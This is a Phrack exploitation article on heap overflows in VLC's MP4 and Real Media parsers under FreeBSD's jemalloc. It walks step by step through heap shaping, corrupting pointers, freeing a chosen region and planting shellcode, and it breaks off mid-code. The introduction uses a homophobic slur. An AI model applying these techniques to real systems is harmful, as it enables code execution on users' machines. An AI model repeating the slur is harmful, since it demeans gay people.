Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 14 Issue 68 File 13
==Phrack Inc.==
Volume 0x0e, Issue 0x44, Phile #0x0d of 0x13
|=-----------------------------------------------------------------------=|
|=-------------=[ The Art of Exploitation ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[ Exploiting VLC ]=---------------------------|
|=------------=[ A case study on jemalloc heap overflows ]=--------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ huku | argp ]=------------------------=|
|=--------------------=[ {huku,argp}@grhack.net ]=---------------------=|
|=-----------------------------------------------------------------------=|
--[ Table of contents
1 - Introduction
1.1 - Assumptions
2 - Notes on jemalloc magazines
2.1 - Your heap reversed
2.2 - Your reversed heap reversed again
2.3 - Sum up of jemalloc magazine facts
3 - 'MP4_ReadBox_skcr()' heap overflow vulnerability
3.1 - MP4 file format structure
3.2 - Vulnerability details
3.3 - Old is gold; 'unlink()' style ftw
3.4 - Controlling 'p_root' data
3.5 - MP4 exploitation sum up
4 - Real Media 'DemuxAudioSipr()' heap overflow vulnerability
4.1 - VLC as a transcoder
4.2 - RMF? What's that?
4.3 - Vulnerability details
4.4 - 'p_blocks' all over the place
4.5 - RMF summary
5 - Building a reliable exploit
5.1 - Overall process
5.2 - Detecting 'p_root' address candidates
6 - Demonstration
7 - Limitations
8 - Final words
9 - References
10 - T3h l337 c0d3z
--[ 1 - Introduction
The idiom 'exploitation is an art' has been written in Phrack so many
times that it has probably ended up sounding cliche. With the emergence
of ASLR, NX, stack cookies, 'unlink()' protections and so on, exploit
writers seem to have realized the value of their code and have stopped
sharing their work with ugly faggots (you know who you are). Just have
a look at the various mailing lists and exploit archives; even the tons
of Linux kernel exploits found there are almost trash. Obviously it's not
the exploit writers that have lost their abilities; it's probably because
they don't care to share fully weaponized code (that's only a privilege of
people who pay for [censored] or [censored] lulz). The fact that working
exploits have stopped being released doesn't necessarily mean that the
underground has stopped their development. Although there's no way for
us to know, we believe we would all be amazed if we were to have even a
glimpse of what the underground has to offer (watch and learn: [1], [2]).
In order to develop the exploit presented in this article, we spent about
a month of continuous late nights in front of ugly terminals, eating junk
and taking breaks only to piss and shit (funny times). We managed to
develop a reliable local exploit for VLC. By 'almost' we mean that it is
possible to make our code 100% reliable but some work is still required;
we wish we had more time but Phrack had to be released. More details
on how to extend our code and bypass the limitations that confine its
reliability are given at a later section. It would probably be a fun
pastime for someone to continue from where we left off; it's not that
hard after all the bullshit we had to face. We hope to show you why
developing an exploit nowadays requires hard work, dedication and at
least one memleak ;)
This phile was at first meant to be part of our jemalloc research also
presented in this Phrack issue. Nevertheless, the Phrack staff honored us
by asking if we were willing to write a separate text with an in-depth
analysis of all that voodoo we had to perform. Readers might agree that
VLC is not the most exotic target one can come up with, but we decided
not to disclose any 0day vulnerabilities and keep it going with a list
of already published material, found by carefully looking for advisories
tagged as 'heap based overflows' (we could have googled for 'potential
DoS' as well, since it usually means ring0 access ;). Keep in mind that
we wouldn't like to present a vulnerability that would be trivial to
exploit. We were looking for a target application with a large codebase;
VLC and Firefox were our primary candidates. We finally decided to deal
with the first. The result was a local exploit that does not require
the user to give any addresses; it can figure out everything by itself.
----[ 1.1 - Assumptions
For the shake of writing this article...
1 - We assume that the attacker has local access on a server running VLC.
The VLC instance must have at least one of its several control interfaces
enabled (HTTP via --extraintf, RC via --rc-host or --rc-unix), that
will be used to issue media playback requests to the target and make
the whole process interactive, that is VLC should be running in 'daemon'
mode. Most people will probably think that those control interfaces can
also be used to perform a remote attack; they are right. Although, the
MP4 vulnerability exploited in this article cannot be used for remote
exploitation, developing a reliable remote exploit is, indeed, feasible
and in fact, it's just a matter of modifying the attached code.
Note: Remote exploitation using MP4 files can be performed by streaming
MP4 data to the VLC server. Unfortunately, MP4 streams are handled by
libffmpeg while MP4 files by VLC's custom MP4 demuxer. Don't get us
wrong, we don't believe that ffmpeg is bug-free; it might be vulnerable
to the exact same flaw, we just didn't have the time to investigate
it further.
2 - VLC cannot be run as root, so, don't expect uid 0 shells. We will
only try to stress the fact that some people will go to great lengths
to have your ass in their plate. Hacking is all about information,
the more information the easier for you to elevate to root.
3 - We assume our target is a x86 machine running FreeBSD-8.2-RELEASE,
the exact same version we used during our main jemalloc research.
4 - Last but not least, we assume you have read and understood our
jemalloc analysis. We don't expect you to be a jemalloc ninja, but
studying our work the way you do your morning newspaper will not get
you anywhere either ;)
--[ 2 - Notes on jemalloc magazines
----[ 2.1 - Your heap reversed
In our main jemalloc research we discussed the use of 'magazines' as a
thread contention avoidance mechanism. Briefly, when a process spawns
multiple threads, a global variable called '__isthreaded' is set to
true. This variable, which can be accessed via the 'extern' storage
class specifier by any application, instructs jemalloc to initialize
thread-local data structures for caching heap allocations. Those
data structures, the so called 'magazines', are allocated and populated
in a lazy fashion. In the case of 'malloc()', a threaded application
will eventually reach the 'if' clause shown below ('MALLOC_MAG' and
'opt_mag' are enabled by default).
#ifdef MALLOC_MAG
static __thread mag_rack_t *mag_rack;
#endif
...
static inline void *
arena_malloc(arena_t *arena, size_t size, bool zero)
{
...
if(size <= bin_maxclass) {
#ifdef MALLOC_MAG
if(__isthreaded && opt_mag) {
mag_rack_t *rack = mag_rack;
if(rack == NULL) {
rack = mag_rack_create(arena);
if(rack == NULL)
return (NULL);
mag_rack = rack;
}
return(mag_rack_alloc(rack, size, zero));
}
...
#endif
...
}
The first point of interest is the '__thread' classifier in the
declaration of 'mag_rack'. This specifier instructs gcc/binutils to
make use of the, so called, TLS (Thread Local Storage) mechanism. The
'__thread' declarations are grouped and then act as a prototype for
the initialization of each thread. Simply put, each thread spawned via
'pthread_create()' will inherit its own private copy of 'mag_rack'
initialized to 'NULL' since it's also declared as 'static'. Access to
thread local memory is transparent to the user; each time 'mag_rack'
is referenced, the runtime automatically figures out where the thread's
private memory can be found.
It's now easier to understand how 'arena_malloc()' will act once
'__isthreaded' and 'opt_mag' are set to true. First the existing
'magazine rack' pointer is checked; if NULL, 'mag_rack_create()' will
be called to (a) initialize the 'mag_rack_t' structure and (b) populate
it with preallocated memory regions for the bin that corresponds to the
requested size (notice that magazine racks are only used for bin-sized
allocations; larger ones follow another code path).
Assume a random thread in a random application calls 'malloc(4)'. The
instruction pointer will soon reach a call to 'mag_rack_alloc(mag_rack,
4, false);'.
static inline void *
mag_rack_alloc(mag_rack_t *rack, size_t size, bool zero)
{
void *ret;
bin_mags_t *bin_mags;
mag_t *mag;
size_t binind;
binind = size2bin[size]; /* (1) */
...
bin_mags = &rack->bin_mags[binind]; /* (2) */
mag = bin_mags->curmag; /* (3) */
if (mag == NULL) {
/* Create an initial magazine for this size class. */
mag = mag_create(choose_arena(), binind);
bin_mags->curmag = mag;
mag_load(mag);
}
ret = mag_alloc(mag);
...
return (ret);
}
The input size is converted to a bin index (1), for a size of 4,
'binind' will be set to 0. Each magazine rack has its own set of bins
which are private to the thread (2). Variable 'mag' is set to point to
the rack's 'magazine' for this specific bin size (3). A 'magazine' is a
simple array of void pointers, called 'rounds[]', that holds addresses
of preallocated memory regions of equal size. Function 'mag_load()' is
called to initialize it. Here's where things start to get more interesting
and may influence the exploitation process in a significant way. Skimming
through 'mag_load()' reveals the following:
static void
mag_load(mag_t *mag)
{
...
arena = choose_arena(); /* (1) */
bin = &arena->bins[mag->binind];
for (i = mag->nrounds; i < max_rounds; i++) {
...
round = arena_bin_malloc_easy(arena, bin, run); /* (2) */
...
mag->rounds[i] = round;
}
...
mag->nrounds = i;
...
}
Depending on the build configuration, 'choose_arena()' (1) may statically
assign a thread to the same arena or dynamically to a different one
every time it gets called. No matter what the assignment process looks
like, we can see that at (2), the 'rounds[]' array is populated by a
normal call to 'arena_bin_malloc_easy()' (or 'arena_bin_malloc_hard()');
the function that a process would call had it not been threaded. Since
the heap internals work in a purely deterministic way (for now ignore
the inherent non-determinism regarding thread scheduling), we can be
quite sure that the regions whose addresses are stored in 'rounds[]'
will probably be contiguous. Assuming no holes are found in the heap
(which is easy to assume since an experienced exploit developer knows
how to fill them), the regions returned by 'arena_bin_malloc_xxx()'
will be in increasing memory addresses as shown in the following figure.
Run (PAGE_SIZE) that services 4byte allocations
.-------.-------.-----.-------.
0xdeadb000 | reg 1 | reg 2 | ... | reg N |
'-------'-------'-----'-------'
^ ^ ^
| .-' '--.
| | |
.-----.-----.-----.-----.
| 0 | 1 | ... | M |
'-----'-----'-----'-----'
rounds[] array
Once initialization is complete, we return back to 'mag_rack_alloc()'
that calls 'mag_alloc()' to pick an entry in the 'rounds[]' array to
give to the user.
mag_alloc(mag_t *mag) {
if (mag->nrounds == 0)
return (NULL);
mag->nrounds--; /* (1) */
return (mag->rounds[mag->nrounds]); /* (2) */
}
If this is the first allocation taking place in the thread, 'mag_alloc()'
will return the last element of the 'rounds[]' array. The 'malloc(4)'
calls that may follow will be served by the exact same magazine with
regions in decreasing memory addresses! That is, magazines are populated
in a 'forward' fashion but consumed in 'backward' one so that if you
allocate, for example, 3 regions, their memory order will be 321 instead
of 123 :)
----[ 2.2 - Your reversed heap reversed again
As explained in our main jemalloc article, '__isthreaded' is set to true
after a successful call to 'pthread_create()' (in fact, it is enabled by
libthr) and remains as such until the end of the program's lifetime, that
is, joining the threads will not set '__isthreaded' to 0. Consequently,
once the magazine racks have been initialized, jemalloc will keep using
them no matter what the number of active threads is.
As explained in the previous section, continuous allocations serviced by
magazines, may return memory regions in decreasing memory addresses. We
keep using the word 'may' because this is not always the case. Consider
the following code snippet which we advise that you read carefully:
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
extern int __isthreaded;
void *allocs[10];
void start_allocs(void) {
int i;
printf("Allocating regions\n");
for(i = 0; i < 10; i++) {
allocs[i] = malloc(192);
printf("%p\n", allocs[i]);
}
return;
}
void free_allocs(void) {
int i;
printf("Freeing the regions\n");
for(i = 0; i < 10; i++)
free(allocs[i]);
return;
}
void free_allocs_rev(void) {
int i;
printf("Freeing the regions in reverse order\n");
for(i = 10 - 1; i >= 0; i--)
free(allocs[i]);
return;
}
void *thread_runner(void *p) {
int rev = *(int *)p;
sleep(1);
if(rev)
free_allocs_rev();
else
free_allocs();
start_allocs();
return NULL;
}
int main(int argc, char *argv[]) {
pthread_t tid;
int rev = 0;
if(argc > 1)
rev = atoi(argv[1]);
start_allocs();
pthread_create(&tid, NULL, thread_runner, (void *)&rev);
pthread_join(tid, NULL);
return 0;
}
There are three important functions in the code above; 'start_allocs()'
which allocates 10 memory regions that will be serviced by bin-192,
'free_allocs()' that frees the aforementioned regions in a 'forward'
fashion and 'free_allocs_rev()' that will do the same thing but in reverse
order. The 'allocs[]' array holds pointers to allocated regions. On
startup, 'main()' will call 'start_allocs()' to populate 'allocs[]'
and then will fire up a thread that will free those regions. Carefully
looking at jemalloc's code, reveals that even on deallocation, a new
magazine rack will be allocated and the regions being freed will be
eventually inserted in the thread's magazine for that specific size class!
You can think of that as the memory regions changing ownership; regions
belonging to the main thread, become property of the new thread started by
'pthread_create()'.
Once the new thread calls 'start_allocs()', the exact same regions that
were previously freed will be eventually be returned to the caller. The
order by which they will be returned, depends on the way they were freed
in the first place. Let's run our test program above by passing it the
value 0 in 'argv[1]'; this will ask the thread to free the regions in
the normal way.
[hk@lsd ~]$ ./test 0
Allocating regions
0x282070c0
0x28207180
0x28207240
0x28207300
0x282073c0
0x28207480
0x28207540
0x28207600
0x282076c0
0x28207780
Freeing the regions
Allocating regions
0x28207780
0x282076c0
0x28207600
0x28207540
0x28207480
0x282073c0
0x28207300
0x28207240
0x28207180
0x282070c0
As you can see, the calls to 'malloc()' performed by the thread, return
the regions in reverse order; this is very similar to what the previous
section explained. Now let's free the regions allocated by 'main()'
by calling 'free_allocs_rev()':
[hk@lsd ~]$ ./test 1
Allocating regions
0x282070c0
0x28207180
0x28207240
0x28207300
0x282073c0
0x28207480
0x28207540
0x28207600
0x282076c0
0x28207780
Freeing the regions in reverse order
Allocating regions
0x282070c0
0x28207180
0x28207240
0x28207300
0x282073c0
0x28207480
0x28207540
0x28207600
0x282076c0
0x28207780
Interestingly, the regions are returned in the same order as they were
allocated. You can think of that as the 'rounds[]' array in 'mag_load()'
being reversed; the allocations are freed in the reverse order and
placed in 'rounds[]' but 'mag_alloc()' gives out regions in reverse
order too... Reverse + reverse = obverse ;)
So why this is important? Regions of a commonly used size (e.g 64), are
usually allocated by a program before 'pthread_create()' is called. Once a
thread is created and '__isthreaded' is set to true, freeing those regions
may result in some thread becoming their master. Future allocations from
the thread in question, may return regions in the normal way rather than
in decreasing memory addresses as shown in the previous section. This
a very important observation that an exploit coder must keep in mind
while targeting FreeBSD applications or any program utilizing jemalloc.
In the sections to follow, we will be dealing with two vulnerabilities;
one in the MP4 demuxer and one in the RMF parser. The first concerns
4-byte allocations which are not that common. As a result, VLC which
is a multithreaded application, will by default return such regions in
decreasing locations. On the contrary, the RMF vulnerability is related
to 192-byte regions, which, being larger, are more common. Several 192-byte
allocations may have been created or destroyed before 'pthread_create()'
is called and thus we cannot guarantee their re-allocation order. It
is for this purpose that we have to employ more tricks for the latter
vulnerability.
----[ 2.3 - Sum up of jemalloc magazine facts
To sum up:
1 - While in glibc and dlmalloc you were used to seeing new memory
regions getting allocated in higher addresses, this is not the case with
jemalloc. If magazines are enabled, continuous allocations may return
regions in decreasing memory order. It's quite easy for anyone to verify
by pure observation.
2 - Don't get 1 for granted. Depending on the order the allocations were
performed, even if thread magazines are enabled, memory regions may end
up being returned in the normal order. This, for example, can happen when
memory regions that were allocated before the first thread is spawned,
are eventually freed by one of the threads.
3 - Always remember that jemalloc does not make use of meta-information
embedded within the regions themselves. The fact that there are no
inline metadata bordering the end user allocations sounds like good
news. It's both a wise design choice and a powerful primitive in the
attacker's hands.
4 - For i = 0 ... 10 goto 1
--[ 3 - 'MP4_ReadBox_skcr()' heap overflow vulnerability
----[ 3.1 - MP4 file format structure
The very first vulnerability we will be analyzing is a heap overflow
within VLC's MP4 demuxer [4]. As stated earlier, VLC's builtin MP4
demuxer is only used for local files, as opposed to network streams that
go through an alternate code path, ending up being handled by libffmpeg
code. Properly parsing a media file is a very cumbersome task involving
complex sanity checks. File format parsers and especially those related
to media files have been the root cause of many vulnerabilities in the
past (remember all that 'RIAA employing Gobbles to pwn media players' [3]
bullshit?). We are definitely not experts when it comes to multimedia
formats; we will only take a look at how an MP4 file is structured, no
details will be given on signal processing and encoding/decoding stuff,
since the actual vulnerability is by no means related to the mathematics
involved in the MP4 specifications (we imagine that there are juicy bugs
there too ;)
Briefly, an MP4 file looks like a tree of nodes serialized in a depth
first order with the root node coming first (people that have experience
with DWARF will probably notice the similarities). Tree nodes are split
in two categories: containers and leaf nodes, also known as 'boxes',
with the later holding the media information (both data and metadata) and
the first playing the role of logically connecting its children. There
are several types of boxes (frma, skcr, dref, url, urn, etc.) as well as
several types of containers (ftyp, udta, moov, wave, etc.).
Easter egg: We believe URLs embedded withing MP4 meta-information,
which are normally used to fetch artist names, cover artwork and so on,
may also be used for performing web attacks. Let us know if you have
experience on this ;) Dear Anonymous, did you know that sharing such
media files in P2P networks may be used for more uniformly distributed
attacks?
Each tree node, weather a container or a box, is represented by a
structure called 'MP4_Box_t' defined in modules/demux/mp4/libmp4.h:970:
typedef struct MP4_Box_s {
off_t i_pos; /* Offset of node in the file */
uint32_t i_type; /* Node type */
...
uint64_t i_size; /* Size of data including headers etc */
MP4_Box_data_t data; /* A union of pointers; depends on 'i_type' */
/* Tree related pointers */
struct MP4_Box_s *p_father;
struct MP4_Box_s *p_first;
struct MP4_Box_s *p_last;
struct MP4_Box_s *p_next;
} MP4_Box_t;
The vulnerability lies in the function responsible for parsing boxes of
type 'skcr'.
----[ 3.2 - Vulnerability details
For each box type, a dispatch table is used to call the appropriate
function that handles its contents. For 'skcr' boxes, 'MP4_ReadBox_skcr()'
is responsible for doing the dirty work.
/* modules/demux/mp4/libmp4.c:2248 */
static int MP4_ReadBox_skcr(..., MP4_Box_t *p_box) {
MP4_READBOX_ENTER(MP4_Box_data_frma_t);
MP4_GET4BYTES(p_box->data.p_skcr->i_init);
MP4_GET4BYTES(p_box->data.p_skcr->i_encr);
MP4_GET4BYTES(p_box->data.p_skcr->i_decr);
...
}
'MP4_READBOX_ENTER()' is a macro that, among other things, will allocate a
structure of the given type and store it in 'p_box->data.p_data'. Macro
'MP4_GET4BYTES()' will just read 4 bytes off the input stream and store
it in the region pointed by the argument. While messing with the VLC
internals, it's good to keep in mind that integers in MP4 files (as well
as other media types) are in big endian order.
The vulnerability is kind of obvious; instead of allocating a
'MP4_Box_data_skcr_t' structure, 'MP4_ReadBox_skcr()' allocates
an 'MP4_Box_data_frma_t', but later on, the pointer is assumed to
point to a struct of the first type (notice how 'MP4_GET4BYTES()' is
used; the 'data' union of the 'MP4_Box_t' is assumed to point to the
correct structure). 'MP4_Box_data_frma_t', on x86, is 4 bytes long but
'MP4_ReadBox_skcr()' will treat it as having a size of 12 bytes (the
real size of 'MP4_Box_data_skcr_t'), resulting in 8 bytes being written
off the heap region boundaries.
----[ 3.3 - Old is gold; 'unlink()' style ftw
The very first thing to note is the size of the victim structure (the
one being overflown). 'MP4_Box_data_frma_t' has a size of 4 bytes, so,
it is handled by jemalloc's bin for this specific size class (depending on
the variant, 4 may or may not be the smallest bin size). As a consequence,
the 8 bytes written outside its bounds can only influence neighboring
allocations of equal size, namely 4. Exploit developers know that the
heap has to be specially prepared before triggering an overflow. For
this specific vulnerability, the attacker has to force VLC place
4-byte allocations of interest next to the victim structure. Looking
carefully in libmp4.h, reveals the following two box types which seem
to be interesting:
typedef struct {
char *psz_text;
} MP4_Box_data_0xa9xxx_t;
...
typedef struct MP4_Box_data_cmov_s {
struct MP4_Box_s *p_moov;
} MP4_Box_data_cmov_t;
Obviously, both structures are 4 bytes long and thus good target
candidates. 'MP4_Box_data_0xa9xxx_t' holds a pointer to a string we
control, and 'MP4_Box_data_cmov_t' a pointer to some 'MP4_Box_t' whose
type and contents may be partially influenced by the attacker. Let's focus
on the 'cmov' box first and why that 'p_moov' pointer is interesting. What
can we do if we eventually manage to place a 'cmov' box next to the victim
'frma' structure?
/* modules/demux/mp4/libmp4.c:2882 */
MP4_Box_t *MP4_BoxGetRoot(...) {
...
/* If parsing is successful... */
if(i_result) {
MP4_Box_t *p_moov;
MP4_Box_t *p_cmov;
/* Check if there is a cmov... */
if(((p_moov = MP4_BoxGet(p_root, "moov")) &&
(p_cmov = MP4_BoxGet(p_root, "moov/cmov"))) ||
((p_moov = MP4_BoxGet(p_root, "foov")) &&
(p_cmov = MP4_BoxGet(p_root, "foov/cmov")))) {
...
p_moov = p_cmov->data.p_cmov->p_moov; /* (1) */
...
p_moov->p_father = p_root; /* (2) */
...
}
}
return p_root;
}
'MP4_BoxGetRoot()' is the entry point of VLC's MP4 file parser. The
first 'if' block is entered when parsing has finished and everything
has gone smoothly; only fatal errors are taken into account. Certain
erroneous conditions are gracefully handled by aborting the parsing
process of the current tree node and continuing to the parent. The
second 'if' block looks up the 'cmov' box and, if one is found, VLC
will store the 'p_cmov->p_moov' in a local variable called 'p_moov'
(1). If we manage to overwrite the 'cmov' structure, then the value of
'p_moov' may arbitrarily be set by us. Then, at (2), an 'unlink()' style
pointer exchange takes place which will allow us to write the 'p_root'
pointer on a memory region of our choice.
But wait a minute... We control the address that 'p_root' is written
to, not 'p_root' nor the contents of the memory it points to. We need
to figure out a way of affecting the data at the location pointed to by
'p_root'. If we get to do that, then writing 'p_root' in a properly
selected .got entry may result in code execution.
For now, let's forget about 'p_root' and find a way of overwriting the
'p_moov' field of a 'cmov' box. First we need to perform several 4-byte
allocations to stabilize the heap and make sure that the 8 bytes to
be written to the adjacent regions will not end up in neighboring
run/chunk metadata. Such a situation may cause a segmentation fault on
the next call to 'malloc()'; that's something we would definitely like
to avoid. The tool for performing user controlled allocations is called
'MP4_ReadBox_0xa9xxx()', the function responsible for parsing boxes of
type 'MP4_Box_data_0xa9xxx_t'. A careful look at its code reveals that
we can allocate a string of any size we please; 'AAA\0' is exactly what
we need right now ;)
Now recall that in certain cases, when the target application is
threaded and has 'opt_mag' enabled, jemalloc will return memory regions
in descending memory addresses which is the case with VLC during the
MP4 parsing process. Extra threads are created and used to pre-process
the files, download album artwork and so on. What we really need to do
is force the heap to be shaped as shown below:
...[SKCR][JUNK][CMOV][AAA\0][AAA\0][AAA\0]...[AAA\0]...
- +
'JUNK' stands for a 1-byte allocation caused by a call to 'strdup("")'
right after 'cmov' is created. The 1-byte allocation ends up being serviced
by bin-4 since 4 is the minimum allocation granularity for the jemalloc
variant used in FreeBSD-8.2-RELEASE. The heap layout depicted above is
pretty straightforward to achieve; the attacker just creates a container
that holds several '0xa9xxx' boxes followed by 'cmov' and then an 'skcr'
that will overwrite the 'JUNK' and the 'p_moov' field of the 'cmov'
neighbor. The multithreading nature of VLC will result in the boxes
being allocated in reverse order, exactly as shown above.
We have successfully managed to overwrite the 'p_moov' pointer that acts
as the destination address in the 'unlink()' style pointer exchange. The
question of how we can control 'p_root' still remains unanswered.
----[ 3.4 - Controlling 'p_root' data
Long nights of auditing VLC revealed that there's no easy way for us to
control the memory contents pointed by 'p_root'. Although we had began
feeling lost, we came up with a very daring idea that, although dangerous
at first hearing, we were quite confident that would eventually work
fine: Why not somehow 'free()' the 'p_root' region? Releasing 'p_root'
memory and performing several 64-byte (= sizeof(MP4_Box_t)) allocations
will force jemalloc give 'p_root' back to us. '0xa9xxx' boxes can be
used to perform user controlled allocations, so, theoretically are ideal
for what we need. Suppose 'p_root' is freed, then a series of 'a9xxx'
boxes that contain 64-byte opcodes will result in 'p_root' eventually
holding our shellcode payload... Right?
Two questions now arise. First, how can one know the address of 'p_root'
in order to free it? This is a good question, but it's something we will
be dealing with later. Second, each '0xa9xxx' box results in two 64-byte
allocations; one for the 'MP4_Box_t' structure to hold the box itself and
one for the string that will contain our shellcode. How can we guarantee
that 'p_root' will be given back by jemalloc for the string allocation and
thus not for the 'MP4_Box_t'? This is where 'chpl' boxes come in handy:
/* modules/demux/mp4/libmp4.c:2413 */
static int MP4_ReadBox_chpl(..., MP4_Box_t *p_box) {
MP4_READBOX_ENTER(MP4_Box_data_chpl_t);
MP4_GET1BYTE( p_chpl->i_chapter ); /* Chapter count; user controlled */
for(i = 0; i < p_chpl->i_chapter; i++) {
...
MP4_GET1BYTE( i_len ); /* Name length; user controlled */
p_chpl->chapter[i].psz_name = malloc(i_len + 1);
...
/* 'psz_name' contents; user controlled */
memcpy( p_chpl->chapter[i].psz_name, p_peek, i_copy );
...
}
...
}
Each 'chpl' box can be used to perform a series of 254 allocations of 64
bytes thus increasing the possibility that 'p_root' will be returned for
our data, not for the 'MP4_Box_t' that describes the 'chpl' node (254/255
versus 1/255; without even taking into account the determinism of heap
internals).
We have successfully located a gadget that will allow us to control
'p_root' data but only once the latter has been freed. Now recall that
'a9xxx' boxes are 4 bytes long and can thus be placed right next to the
victim 'frma' structure. Don't forget that at this specific time frame
of the execution, bin sized allocations are always serviced by magazine
racks and thus decreasing addresses are eventually returned to the user.
...[SKCR][A9XXX][A9XXX]...
- +
Each call to 'MP4_ReadBox_skcr()' will write 8 bytes off the 'skcr'
boundaries, so, both of the following 'a9xxx' regions will be overflown
resulting in their 'psz_text' pointer being overwritten with user
controlled values. If we could somehow force the 'a9xxx' nodes to be
freed, their 'psz_text' would be passed to 'free()' as well, resulting
in the release of two heap regions chosen by the attacker. It turns out
that doing so is not that hard. All we have to do is place those 'skcr'
and 'a9xxx' boxes within a common container, which will cause a parsing
error right after the 'skcr' box is parsed. To do that, we abuse a new
type of MP4 box called 'stts':
/* modules/demux/mp4/libmp4.c:788 */
static int MP4_ReadBox_stts(..., MP4_Box_t *p_box) {
MP4_READBOX_ENTER(MP4_Box_data_stts_t);
...
MP4_GET4BYTES(p_box->data.p_stts->i_entry_count);
p_box->data.p_stts->i_sample_count =
calloc(p_box->data.p_stts->i_entry_count, sizeof(uint32_t)); /* (1) */
...
if(p_box->data.p_stts->i_sample_count == NULL ...) {
MP4_READBOX_EXIT(0);
}
...
}
At (1), 'i_entry_count' is, obviously, user controlled. Forcing it to
hold a very high value will result in 'calloc()' returning NULL and thus
'MP4_ReadBox_stts()' returning 0; the value that indicates a parsing
failure. Adding the corrupted '0xa9xxx' boxes and the 'skcr' victim in
the same container with an invalid 'stts' box, will result in the first
being freed when the parsing error is detected and thus the attacker
chosen heap regions to be freed*. VLC will continue reading the rest of
the MP4 data as if nothing wrong has happened.
Note: It's crucial to understand that we shouldn't trigger a fatal
parsing error at this point since the unlink-like code will never be
reached. In fact, the process of doing that is slightly more complicated
than described in the previous paragraph; it's a minor detail that should
not be taken into account right now.
----[ 3.5 MP4 exploitation sum up
To sum up, for this first part of the exploitation process the attacker
must perform the following steps:
1 - Overwrite 'p_moov'
1a - Allocate several 'a9xxx' boxes that will stabilize the heap
1b - Allocate a 'cmov' box
1c - Allocate and fill an 'skcr' box. The 'skcr' handling code will
allocate an 'frma' structure (4 bytes) and write 12 bytes in its region
thus eventually overwriting 'cmov->p_moov'
2 - Free and control 'p_root' contents
2a - Create a 'cmov' container
2b - Fill it with 2 '0xa9xxx' boxes
2c - Add an 'skcr' that will overwrite the adjacent '0xa9xxx' boxes. The
overwritten values should be the address of 'p_root' and a random 64
byte allocation in this specific order.
2d - Add an invalid 'stts' box that will force the parsing process
to fail, the 'cmov' and its children (two '0xa9xxx' and one 'skcr')
to be freed, the 'psz_text' members of 'MP4_Box_data_0xa9xxx_t' to be
passed to 'free()' and consequently, 'p_root' to be released.
2e - Add several 'chpl' boxes. Each one will result in 254 64byte
allocations with user controlled contents. Pray that jemalloc will give
'p_root' back to you (most likely).
3 - Repeat step 2 as many times as you please to free as many pointers
as you like (more on this later)
4 - Properly pack everything together so that the 'unlink()' code
is reached.
One problem still remains; How can one know the address of 'p_root' in
order to pass it to 'free()'? This is were an information leak would
be useful. We need to find a bug that when properly exploited will
reveal data of selected memory regions. Additionally, we need to seek
the mechanisms by which this data will be returned to the attacker. The
next section of this phile focuses on these two problems and the voodoo
required to solve them.
--[ 4 - Real Media 'DemuxAudioSipr()' heap overflow vulnerability
----[ 4.1 - VLC as a transcoder
Apart from a full blown media player, VLC can also work as a
transcoder. Transcoding is the process of receiving numerous inputs,
applying certain transformations on the input data and then sending the
result to a set of outputs. This is, for example, what happens when you
rip a DVD and convert it to an .avi stored on your hard disk. In its most
simple use, transcoding may be used to duplicate an input stream to both
your soundcard as well as an alternate output, for example, an RTP/HTTP
network stream, so that other users can listen to the music you're
currently listening; a mechanism invaluable for your favorite pr0n. For
more information and some neat examples of using VLC in more advanced
scenarios, you can have a look at the VideoLan wiki and especially at [5].
Trying to find a way to leak memory from VLC, we carefully studied several
examples from the wiki page at [5] and then started feeding VLC with a
bunch of mysterious options; we even discovered a FreeBSD kernel 0day while
doing so. After messing with the command line arguments for a couple of
minutes we settled down to the following:
vlc ass_traffic.mp4 :sout='#std{access=file,mux=raw,dst=dup.mp4}'
This command, which is just a primitive usage of VLC's transcoding
features, will just copy 'ass_traffic.mp4' to 'dup.mp4' thus duplicating
the input stream to a standard file. Furthermore, if VLC is running in
daemon mode, it is possible for the user to specify a different output
MRL (Media Resource Location) per media file. For example, assume that
VLC was started using the command line 'VLC --rc-host 127.0.0.1:8080';
connecting to port 8080 using netcat and issuing the command...
add /tmp/ass_traffic.mp4 :sout=#std{access=file,mux=raw,dst=/tmp/dup.mp4}
...will, obviously, do the exact same thing. If we could discover an
information leak, transcoding would be the perfect way of actually having
VLC return leaked data back to us. For example, what if we could force VLC
treat arbitrary memory addresses as simple sound information? If we manage
to do that, then with the help of the transcoding features we could ask
VLC to dump the memory range in question in a standard file in /tmp :)
Note: The truth is that we first focused on exploiting a vulnerability
that we could turn into a memory disclosure and then explored the
transcoding stuff. We decided to talk about transcoding first so that
the reader can keep it in mind while studying the RMF vulnerability
in the sections that follow.
In the days that followed we thoroughly analyzed several public
vulnerabilities. A specific commit diff in VLC's git caught our attention.
It was a vulnerability regarding the Real Media format parser discovered by
Hossein Lotfi [6]. Before actually touching the Real Media demuxer, a quick
look in the media format itself is essential.
----[ 4.2 - RMF? What's that?
Source code for the real media demuxer can be found in
modules/demux/real.c; the code itself is not very complex and can be easily
analyzed in couple of hours. From what we've understood by studying the
source, there are two kinds of Real Media files; the Real Audio (.ra)
files, as well as the Real Media Format (.rmf) files. In fact, the two
formats are quite similar with the one being a newer version of the other.
Audio information is split in tracks, usually interleaved, so that a file
may have several tracks each one encoded using a different audio codec.
The vulnerability we will be analyzing can be triggered with a specially
crafted RMF file that utilizes the Sipr audio codec (see [7] and [8]).
The meta-information present in RMF files is split in various chunks;
simple headers followed by their data. A special chunk, called MDPR
(MeDia PRoperties) is used to encode information regarding a track in
the RMF file (each track has its own associated MDPR header); its name,
its duration, its title as well as the track identifier, a simple 32-bit
integer.
The sound information, the one you hear when playing a file, is split in
packets, each one carrying the track ID for the track whose data it
contains (as we have already mentioned, track data may be interleaved, so
the file parser has to know what packet belongs to what track). The sipr
codec goes further by allowing a packet to contain subpackets. When a
packet with multiple subpackets is encountered, its contents are buffered
until all subpackets have been processed. It's only then when the data
in sent to your audio card or to any pending output streams ;)
Sipr subpacket handling is where the mess begins...
----[ 4.3 - Vulnerability details
Every time a new packet is encountered in the input stream, VLC will check
the track it belongs and figure out the audio codec for the track in
question. Depending on this information, the appropriate audio demuxer is
called. For sipr packets, 'DemuxAudioSipr()' is the function responsible
for this task.
/* modules/demux/real.c:788 */
static void DemuxAudioSipr(..., real_track_t *tk, ...) {
...
block_t *p_block = tk->p_sipr_packet;
...
/* First occurance of a subpacket for this packet? Create a new block
* to buffer all the subpackets.
*
* Subpackets have a size equal to 'i_frame_size' and 'i_subpacket_h' is
* their number.
*/
